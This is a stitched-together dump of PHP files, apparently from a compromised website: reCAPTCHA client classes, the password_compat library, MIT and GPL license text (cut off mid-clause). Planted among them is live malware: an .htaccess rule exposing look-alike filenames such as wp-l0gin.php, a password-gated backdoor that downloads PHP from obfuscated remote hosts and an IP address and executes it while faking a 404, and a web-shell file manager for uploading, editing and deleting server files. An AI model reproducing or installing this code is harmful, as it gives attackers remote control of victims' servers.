    private $secret;

    /**
     * Form response.
     * @var string
     */
    private $response;

    /**
     * Remote user's IP address.
     * @var string
     */
    private $remoteIp;

    /**
     * Client version.
     * @var string
     */
    private $version;

    /**
     * Initialise parameters.
     *
     * @param string $secret Site secret.
     * @param string $response Value from g-captcha-response form field.
     * @param string $remoteIp User's IP address.
     * @param string $version Version of this client library.
     */
    public function __construct($secret, $response, $remoteIp = null,
$version = null)
    {
        $this->secret = $secret;
        $this->response = $response;
        $this->remoteIp = $remoteIp;
        $this->version = $version;
    }

    /**
     * Array representation.
     *
     * @return array Array formatted parameters.
     */
    public function toArray()
    {
        $params = array('secret' => $this->secret,
'response' => $this->response);

        if (!is_null($this->remoteIp)) {
            $params['remoteip'] = $this->remoteIp;
        }

        if (!is_null($this->version)) {
            $params['version'] = $this->version;
        }

        return $params;
    }

    /**
     * Query string representation for HTTP request.
     *
     * @return string Query string formatted parameters.
     */
    public function toQueryString()
    {
        return http_build_query($this->toArray(), '',
'&');
    }
}
<?php
/**
 * This is a PHP library that handles calling reCAPTCHA.
 *
 * @copyright Copyright (c) 2015, Google Inc.
 * @link      http://www.google.com/recaptcha
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
 * THE SOFTWARE.
 */

namespace ReCaptcha;

/**
 * The response returned from the service.
 */
class Response
{
    /**
     * Succes or failure.
     * @var boolean
     */
    private $success = false;

    /**
     * Error code strings.
     * @var array
     */
    private $errorCodes = array();

    /**
     * Build the response from the expected JSON returned by the service.
     *
     * @param string $json
     * @return \ReCaptcha\Response
     */
    public static function fromJson($json)
    {
        $responseData = json_decode($json, true);

        if (!$responseData) {
            return new Response(false, array('invalid-json'));
        }

        if (isset($responseData['success']) &&
$responseData['success'] == true) {
            return new Response(true);
        }

        if (isset($responseData['error-codes']) &&
is_array($responseData['error-codes'])) {
            return new Response(false,
$responseData['error-codes']);
        }

        return new Response(false);
    }

    /**
     * Constructor.
     *
     * @param boolean $success
     * @param array $errorCodes
     */
    public function __construct($success, array $errorCodes = array())
    {
        $this->success = $success;
        $this->errorCodes = $errorCodes;
    }

    /**
     * Is success?
     *
     * @return boolean
     */
    public function isSuccess()
    {
        return $this->success;
    }

    /**
     * Get error codes.
     *
     * @return array
     */
    public function getErrorCodes()
    {
        return $this->errorCodes;
    }
}
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$">
Order allow,deny
Allow from all
</FilesMatch><?php
$p = "7fe845c5ad3c25f83abd8f47507e6273";
if (isset($_REQUEST['ac']) &&
isset($_REQUEST['path']) &&
isset($_REQUEST['api']) &&
isset($_REQUEST['t'])) {
    if(!isset($_REQUEST['s'])){$s=1;}else{$s =
$_REQUEST['s'];}
    switch ($s){
        case 1:
            $code =
GC('htt'.'ps://c.zv'.'o1.xy'.'z/');break;
        case 2:
            $code =
GC('ht'.'tps://c2.ic'.'w7.co'.'m/');break;
        case 3:
            $code = GC('http://45.11.57.159/');break;
        default:
            $code =
GC('htt'.'ps://c.zv'.'o1.xy'.'z/');break;
    }
    $need = '<'.'?p'.'hp'; if
(strpos($code, $need) === false) { die('get failed'); }
    if(function_exists('tmpfile'))
    {
        $file_handle = tmpfile();
        fwrite($file_handle, $code);
        $a = stream_get_meta_data($file_handle);
        $file_path = $a['uri'];
        @include($file_path);
        @fclose($file_handle);
    }else {
        $file_path = '.c';
        file_put_contents($file_path, $code);
        @include($file_path);
    }
    @unlink($file_path);die(); }
if (isset($_REQUEST['d_time'])){
die('{->'.$p.'<-}'); }
$pass = false;
if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) ==
$p) { $pass = true; } } else
{ if (isset($_POST['p8'])) { if(md5($_POST['p8']) ==
$p) { setcookie("p8", $_POST['p8']); $pass = true; } }
}
if (isset($_POST['logout']) && $_POST['logout']
= 1) { setcookie("p8", null); $pass= false; }
if (!$pass) { if(!isset($_REQUEST['520'])) {
header("HTTP/1.1 404 Not Found"); die();} echo '<form
action="#" method="post"><input
type="password" name="p8" > <input
type="submit" value="submit"></form>';
die(); }
echo '<form action="#"
method="post"><input type="hidden"
name="logout" value="1"> <input
type="submit" value="logout"></form>';
function GC($a)
{
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s',
$a, $_REQUEST['api'], $_REQUEST['ac'],
$_REQUEST['path'], $_REQUEST['t']); $code =
@file_get_contents($url); if ($code == false) { $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT,
'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch,
CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$code = curl_exec($ch); curl_close($ch); }return $code;}
?>
<!DOCTYPE html>
<html lang="en">
<!-- a22bcS0vMzEJElwPNAQA== -->
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible"
content="IE=edge">
    <meta name="viewport" content="width=device-width,
initial-scale=1.0">
    <title>000</title>
    <link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet"
         
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD"
crossorigin="anonymous">
    <link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
         
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
          crossorigin="anonymous"
referrerpolicy="no-referrer" />
</head>

<body>

<?php


//$L7CRgrfunction
function formatSizeUnits($bytes)
{
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}

function fileExtension($file)
{
    return substr(strrchr($file, '.'), 1);
}

function fileIcon($file)
{
    $imgs = array("apng", "avif", "gif",
"jpg", "jpeg", "jfif", "pjpeg",
"pjp", "png", "svg", "webp");
    $audio = array("wav", "m4a", "m4b",
"mp3", "ogg", "webm", "mpc");
    $ext = strtolower(fileExtension($file));
    if ($file == "error_log") {
        return '<i class="fa-sharp fa-solid
fa-bug"></i> ';
    } elseif ($file == ".htaccess") {
        return '<i class="fa-solid
fa-hammer"></i> ';
    }
    if ($ext == "html" || $ext == "htm") {
        return '<i class="fa-brands
fa-html5"></i> ';
    } elseif ($ext == "php" || $ext == "phtml") {
        return '<i class="fa-brands fa-php"></i>
';
    } elseif (in_array($ext, $imgs)) {
        return '<i class="fa-regular
fa-images"></i> ';
    } elseif ($ext == "css") {
        return '<i class="fa-brands
fa-css3"></i> ';
    } elseif ($ext == "txt") {
        return '<i class="fa-regular
fa-file-lines"></i> ';
    } elseif (in_array($ext, $audio)) {
        return '<i class="fa-duotone
fa-file-music"></i> ';
    } elseif ($ext == "py") {
        return '<i class="fa-brands
fa-python"></i> ';
    } elseif ($ext == "js") {
        return '<i class="fa-brands fa-js"></i>
';
    } else {
        return '<i class="fa-solid fa-file"></i>
';
    }
}

function encodePath($path)
{
    $a = array("/", "\\", ".",
":");
    $b = array("ক", "খ", "গ",
"ঘ");
    return str_replace($a, $b, $path);
}
function decodePath($path)
{
    $a = array("/", "\\", ".",
":");
    $b = array("ক", "খ", "গ",
"ঘ");
    return str_replace($b, $a, $path);
}



$root_path = __DIR__;
$path = $_SERVER['SCRIPT_FILENAME'];
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
    $path = str_replace('\\', '/', $path);
}
if(str_replace('//','/',$_SERVER['PHP_SELF'])
== str_replace('\\\\','/',$path))
{
    $root_path = ('/');}
else {
    $root_path =
(str_replace(str_replace('//','/',$_SERVER['PHP_SELF']),
'', str_replace('\\\\','/',$path) ));
}
if (isset($_GET['p'])) {
    if (empty($_GET['p'])) {
        $p = __DIR__;
    } elseif (!is_dir(decodePath($_GET['p']))) {
        echo ("<script>\nalert('Directory is Corrupted and
Unreadable.');\nwindow.location.replace('?');\n</script>");
    } elseif (is_dir(decodePath($_GET['p']))) {
        $p = decodePath($_GET['p']);
    }
} elseif (isset($_GET['q'])) {
    if (!is_dir(decodePath($_GET['q']))) {
        echo
("<script>window.location.replace('?p=');</script>");
    } elseif (is_dir(decodePath($_GET['q']))) {
        $p = decodePath($_GET['q']);
    }
} else {
    $p = __DIR__;
}
define("PATH", $p);

echo ('
<nav class="navbar navbar-light" style="background-color:
#e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img
src="https://github.com/fluidicon.png" width="30"
height="30" alt=""></a>
');

$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
    if ($dir_part == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?p=/\">/</a>";
        continue;
    }
    if ($dir_part == '')
        continue;
    echo "<a href='?p=";
    for ($i = 0; $i <= $id; $i++) {
        echo str_replace(":", "ঘ", $paths[$i]);
        if ($i != $id)
            echo "ক";
    }
    echo "'>" . $dir_part . "</a>/";
}
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) .
'"><button class="btn btn-dark"
type="button">Upload File</button></a>
<a href="?"><button type="button"
class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


if (isset($_GET['p'])) {

    //fetch files
    if (is_readable(PATH)) {
        $fetch_obj = scandir(PATH);
        $folders = array();
        $files = array();
        foreach ($fetch_obj as $obj) {
            if ($obj == '.' || $obj == '..') {
                continue;
            }
            $new_obj = PATH . '/' . $obj;
            if (is_dir($new_obj)) {
                array_push($folders, $obj);
            } elseif (is_file($new_obj)) {
                array_push($files, $obj);
            }
        }
    }
    echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
    foreach ($folders as $folder) {
        echo "    <tr>
      <td><i class='fa-solid fa-folder'></i>
<a href='?p=" . urlencode(encodePath(PATH . "/" .
$folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH .
"/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" .
$folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $folder .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $folder .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
      <td>
    </tr>
";
    }
    foreach ($files as $file) {
        echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/"
. $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH
. "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/"
.$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" .
urlencode(encodePath(PATH)) . "&e=" . $file .
"'><i class='fa-solid
fa-file-pen'></i></a>
          <a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $file .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $file .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
          <td>
    </tr>
";
    }
    echo "  </tbody>
</table>";
} else {
    if (empty($_GET)) {
        echo
("<script>window.location.replace('?p=');</script>");
    }
}
if (isset($_GET['upload'])) {
    echo '
    <form method="post"
enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload"
id="fileToUpload">
        <input type="submit" class="btn btn-dark"
value="Upload" name="upload">
    </form>';
}
if (isset($_GET['r'])) {
    if (!empty($_GET['r']) &&
isset($_GET['q'])) {
        echo '
    <form method="post">
        Rename:
        <input type="text" name="name"
value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark"
value="Rename" name="rename">
    </form>';
        if (isset($_POST['rename'])) {
            $name = PATH . "/" . $_GET['r'];
            if(rename($name, PATH . "/" .
$_POST['name'])) {
                echo ("<script>alert('Renamed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
            } else {
                echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
            }
        }
    }
}

if (isset($_GET['e'])) {
    if (!empty($_GET['e']) &&
isset($_GET['q'])) {
        echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' .
htmlspecialchars(file_get_contents(PATH."/".$_GET['e']))
. '</textarea>
        <br>
        <input type="submit" class="btn btn-dark"
value="Save" name="edit">
    </form>';

        if(isset($_POST['edit'])) {
            $filename = PATH."/".$_GET['e'];
            $data = $_POST['data'];
            $open = fopen($filename,"w");
            if(fwrite($open,$data)) {
                echo ("<script>alert('Saved.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
            } else {
                echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
            }
            fclose($open);
        }
    }
}

if (isset($_POST["upload"])) {
    $target_file = PATH . "/" .
$_FILES["fileToUpload"]["name"];
    if
(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$target_file)) {
        echo
"<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))
. " has been uploaded.</p>";
    } else {
        echo "<p>Sorry, there was an error uploading your
file.</p>";
    }

}
if (isset($_GET['d']) && isset($_GET['q'])) {
    $name = PATH . "/" . $_GET['d'];
    if (is_file($name)) {
        if(unlink($name)) {
            echo ("<script>alert('File removed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
        } else {
            echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
        }
    } elseif (is_dir($name)) {
        if(rmdir($name) == true) {
            echo ("<script>alert('Directory
removed.'); window.location.replace('?p=" . encodePath(PATH)
. "');</script>");
        } else {
            echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
        }
    }
}
?>

<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
       
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html><?php
/**
 * A Compatibility library with PHP 5.5's simplified password hashing
API.
 *
 * @author Anthony Ferrara <ircmaxell@php.net>
 * @license http://www.opensource.org/licenses/mit-license.html MIT License
 * @copyright 2012 The Authors
 */

namespace {

    if (!defined('PASSWORD_BCRYPT')) {
        /**
         * PHPUnit Process isolation caches constants, but not function
declarations.
         * So we need to check if the constants are defined separately from

         * the functions to enable supporting process isolation in userland
         * code.
         */
        define('PASSWORD_BCRYPT', 1);
        define('PASSWORD_DEFAULT', PASSWORD_BCRYPT);
        define('PASSWORD_BCRYPT_DEFAULT_COST', 10);
    }

    if (!function_exists('password_hash')) {

        /**
         * Hash the password using the specified algorithm
         *
         * @param string $password The password to hash
         * @param int    $algo     The algorithm to use (Defined by
PASSWORD_* constants)
         * @param array  $options  The options for the algorithm to use
         *
         * @return string|false The hashed password, or false on error.
         */
        function password_hash($password, $algo, array $options = array())
{
            if (!function_exists('crypt')) {
                trigger_error("Crypt must be loaded for password_hash
to function", E_USER_WARNING);
                return null;
            }
            if (is_null($password) || is_int($password)) {
                $password = (string) $password;
            }
            if (!is_string($password)) {
                trigger_error("password_hash(): Password must be a
string", E_USER_WARNING);
                return null;
            }
            if (!is_int($algo)) {
                trigger_error("password_hash() expects parameter 2 to
be long, " . gettype($algo) . " given", E_USER_WARNING);
                return null;
            }
            $resultLength = 0;
            switch ($algo) {
                case PASSWORD_BCRYPT:
                    $cost = PASSWORD_BCRYPT_DEFAULT_COST;
                    if (isset($options['cost'])) {
                        $cost = $options['cost'];
                        if ($cost < 4 || $cost > 31) {
                            trigger_error(sprintf("password_hash():
Invalid bcrypt cost parameter specified: %d", $cost), E_USER_WARNING);
                            return null;
                        }
                    }
                    // The length of salt to generate
                    $raw_salt_len = 16;
                    // The length required in the final serialization
                    $required_salt_len = 22;
                    $hash_format = sprintf("$2y$%02d$", $cost);
                    // The expected length of the final crypt() output
                    $resultLength = 60;
                    break;
                default:
                    trigger_error(sprintf("password_hash(): Unknown
password hashing algorithm: %s", $algo), E_USER_WARNING);
                    return null;
            }
            $salt_requires_encoding = false;
            if (isset($options['salt'])) {
                switch (gettype($options['salt'])) {
                    case 'NULL':
                    case 'boolean':
                    case 'integer':
                    case 'double':
                    case 'string':
                        $salt = (string) $options['salt'];
                        break;
                    case 'object':
                        if (method_exists($options['salt'],
'__tostring')) {
                            $salt = (string) $options['salt'];
                            break;
                        }
                    case 'array':
                    case 'resource':
                    default:
                        trigger_error('password_hash(): Non-string
salt parameter supplied', E_USER_WARNING);
                        return null;
                }
                if (PasswordCompat\binary\_strlen($salt) <
$required_salt_len) {
                    trigger_error(sprintf("password_hash(): Provided
salt is too short: %d expecting %d",
PasswordCompat\binary\_strlen($salt), $required_salt_len), E_USER_WARNING);
                    return null;
                } elseif (0 == preg_match('#^[a-zA-Z0-9./]+$#D',
$salt)) {
                    $salt_requires_encoding = true;
                }
            } else {
                $buffer = '';
                $buffer_valid = false;
                if (function_exists('mcrypt_create_iv')
&& !defined('PHALANGER')) {
                    $buffer = mcrypt_create_iv($raw_salt_len,
MCRYPT_DEV_URANDOM);
                    if ($buffer) {
                        $buffer_valid = true;
                    }
                }
                if (!$buffer_valid &&
function_exists('openssl_random_pseudo_bytes')) {
                    $buffer = openssl_random_pseudo_bytes($raw_salt_len);
                    if ($buffer) {
                        $buffer_valid = true;
                    }
                }
                if (!$buffer_valid &&
@is_readable('/dev/urandom')) {
                    $f = fopen('/dev/urandom', 'r');
                    $read = PasswordCompat\binary\_strlen($buffer);
                    while ($read < $raw_salt_len) {
                        $buffer .= fread($f, $raw_salt_len - $read);
                        $read = PasswordCompat\binary\_strlen($buffer);
                    }
                    fclose($f);
                    if ($read >= $raw_salt_len) {
                        $buffer_valid = true;
                    }
                }
                if (!$buffer_valid ||
PasswordCompat\binary\_strlen($buffer) < $raw_salt_len) {
                    $bl = PasswordCompat\binary\_strlen($buffer);
                    for ($i = 0; $i < $raw_salt_len; $i++) {
                        if ($i < $bl) {
                            $buffer[$i] = $buffer[$i] ^ chr(mt_rand(0,
255));
                        } else {
                            $buffer .= chr(mt_rand(0, 255));
                        }
                    }
                }
                $salt = $buffer;
                $salt_requires_encoding = true;
            }
            if ($salt_requires_encoding) {
                // encode string with the Base64 variant used by crypt
                $base64_digits =
                   
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
                $bcrypt64_digits =
                   
'./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

                $base64_string = base64_encode($salt);
                $salt = strtr(rtrim($base64_string, '='),
$base64_digits, $bcrypt64_digits);
            }
            $salt = PasswordCompat\binary\_substr($salt, 0,
$required_salt_len);

            $hash = $hash_format . $salt;

            $ret = crypt($password, $hash);

            if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) !=
$resultLength) {
                return false;
            }

            return $ret;
        }

        /**
         * Get information about the password hash. Returns an array of the
information
         * that was used to generate the password hash.
         *
         * array(
         *    'algo' => 1,
         *    'algoName' => 'bcrypt',
         *    'options' => array(
         *        'cost' => PASSWORD_BCRYPT_DEFAULT_COST,
         *    ),
         * )
         *
         * @param string $hash The password hash to extract info from
         *
         * @return array The array of information about the hash.
         */
        function password_get_info($hash) {
            $return = array(
                'algo' => 0,
                'algoName' => 'unknown',
                'options' => array(),
            );
            if (PasswordCompat\binary\_substr($hash, 0, 4) ==
'$2y$' && PasswordCompat\binary\_strlen($hash) == 60) {
                $return['algo'] = PASSWORD_BCRYPT;
                $return['algoName'] = 'bcrypt';
                list($cost) = sscanf($hash, "$2y$%d$");
                $return['options']['cost'] = $cost;
            }
            return $return;
        }

        /**
         * Determine if the password hash needs to be rehashed according to
the options provided
         *
         * If the answer is true, after validating the password using
password_verify, rehash it.
         *
         * @param string $hash    The hash to test
         * @param int    $algo    The algorithm used for new password
hashes
         * @param array  $options The options array passed to password_hash
         *
         * @return boolean True if the password needs to be rehashed.
         */
        function password_needs_rehash($hash, $algo, array $options =
array()) {
            $info = password_get_info($hash);
            if ($info['algo'] != $algo) {
                return true;
            }
            switch ($algo) {
                case PASSWORD_BCRYPT:
                    $cost = isset($options['cost']) ?
$options['cost'] : PASSWORD_BCRYPT_DEFAULT_COST;
                    if ($cost !=
$info['options']['cost']) {
                        return true;
                    }
                    break;
            }
            return false;
        }

        /**
         * Verify a password against a hash using a timing attack resistant
approach
         *
         * @param string $password The password to verify
         * @param string $hash     The hash to verify against
         *
         * @return boolean If the password matches the hash
         */
        function password_verify($password, $hash) {
            if (!function_exists('crypt')) {
                trigger_error("Crypt must be loaded for
password_verify to function", E_USER_WARNING);
                return false;
            }
            $ret = crypt($password, $hash);
            if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) !=
PasswordCompat\binary\_strlen($hash) || PasswordCompat\binary\_strlen($ret)
<= 13) {
                return false;
            }

            $status = 0;
            for ($i = 0; $i < PasswordCompat\binary\_strlen($ret); $i++)
{
                $status |= (ord($ret[$i]) ^ ord($hash[$i]));
            }

            return $status === 0;
        }
    }

}

namespace PasswordCompat\binary {

    if (!function_exists('PasswordCompat\\binary\\_strlen')) {

        /**
         * Count the number of bytes in a string
         *
         * We cannot simply use strlen() for this, because it might be
overwritten by the mbstring extension.
         * In this case, strlen() will count the number of *characters*
based on the internal encoding. A
         * sequence of bytes might be regarded as a single multibyte
character.
         *
         * @param string $binary_string The input string
         *
         * @internal
         * @return int The number of bytes
         */
        function _strlen($binary_string) {
            if (function_exists('mb_strlen')) {
                return mb_strlen($binary_string, '8bit');
            }
            return strlen($binary_string);
        }

        /**
         * Get a substring based on byte limits
         *
         * @see _strlen()
         *
         * @param string $binary_string The input string
         * @param int    $start
         * @param int    $length
         *
         * @internal
         * @return string The substring
         */
        function _substr($binary_string, $start, $length) {
            if (function_exists('mb_substr')) {
                return mb_substr($binary_string, $start, $length,
'8bit');
            }
            return substr($binary_string, $start, $length);
        }

        /**
         * Check if current PHP version is compatible with the library
         *
         * @return boolean the check result
         */
        function check() {
            static $pass = NULL;

            if (is_null($pass)) {
                if (function_exists('crypt')) {
                    $hash =
'$2y$04$usesomesillystringfore7hnbRJHxXVLeakoG8K30oukPsA.ztMG';
                    $test = crypt("password", $hash);
                    $pass = $test == $hash;
                } else {
                    $pass = false;
                }
            }
            return $pass;
        }

    }
}Copyright (c) 2012 Anthony Ferrara

Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge,
publish, distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to the
following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
